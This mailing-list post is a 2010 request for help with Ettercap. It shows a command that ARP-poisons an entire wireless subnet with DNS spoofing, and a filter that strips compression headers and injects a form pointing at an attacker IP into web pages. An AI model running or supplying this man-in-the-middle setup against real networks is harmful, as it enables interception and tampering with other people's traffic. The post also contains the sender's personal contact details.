Security Basics mailing list archives

Ettercap Help


From: Reginald Wheeler <wheeler90 () comcast net>
Date: Fri, 26 Mar 2010 16:09:41 -0400

If anyone can tell me what I did wrong or point me in the right
direction.  I have posted the error I get as well as the filter. Pleas
hold no punches I need to know why this is not working right.


I have run filters before with ettercap and have never had this issue
till just now. 

stream_venom@The-Viper-Pit:~# ettercap -i wlan0 -P dns_spoof -Tq -f
html.ef -M ARP // //

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on wlan0... 
ERROR : 16, Device or resource busy
[ec_capture.c:capture_init:171]

`��� 

This is a first I can fun ettercap without the filter and it will run
fine. I have even turn off the wireless and still get the same error and
not the Device is is down error. 

Here is the filter 
############################################################################
#
#
#  ettercap -- etter.filter -- filter source file
#
#
#
#  Copyright (C) ALoR & NaGA
#
#
#
#  This program is free software; you can redistribute it and/or modify
#
#  it under the terms of the GNU General Public License as published by
#
#  the Free Software Foundation; either version 2 of the License, or
#
#  (at your option) any later version.
#
#
#
############################################################################

##
#
#  This filter will substitute the word 'ethercap' with 'ettercap' and
#  will log the content of the packet in /tmp/mispelled_ettercap.log
#  It is only a dummy example.
##

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
           replace("Accept-Encoding", "Accept-Nothing!");
      }
}

if (ip.proto == TCP && tcp.src == 80) {
      if (search(DATA.data, "<title>")) {
           replace("</title>", "</title><form
action="http://192.168.5.63/index.html";);
           msg("html injected");
      }}

Thanks for the help 


Thank You,
Reginald Wheeler, Owner
A+, Networking+, MCSE 2003
Universal Systems Consulting LLC
Simplifying IT
1907 Hampton Dr.
Sandy Springs, GA 30350
Ph:678.615.2997
wheeler90 () comcast net





------------------------------------------------------------------------
Securing Apache Web Server with thawte Digital Certificate
In this guide we examine the importance of Apache-SSL and who needs an SSL certificate.  We look at how SSL works, how 
it benefits your company and how your customers can tell if a site is secure. You will find out how to test, purchase, 
install and use a thawte Digital Certificate on your Apache web server. Throughout, best practices for set-up are 
highlighted to help you ensure efficient ongoing management of your encryption keys and digital certificates.

http://www.dinclinx.com/Redirect.aspx?36;4175;25;1371;0;5;946;e13b6be442f727d1
------------------------------------------------------------------------


Current thread: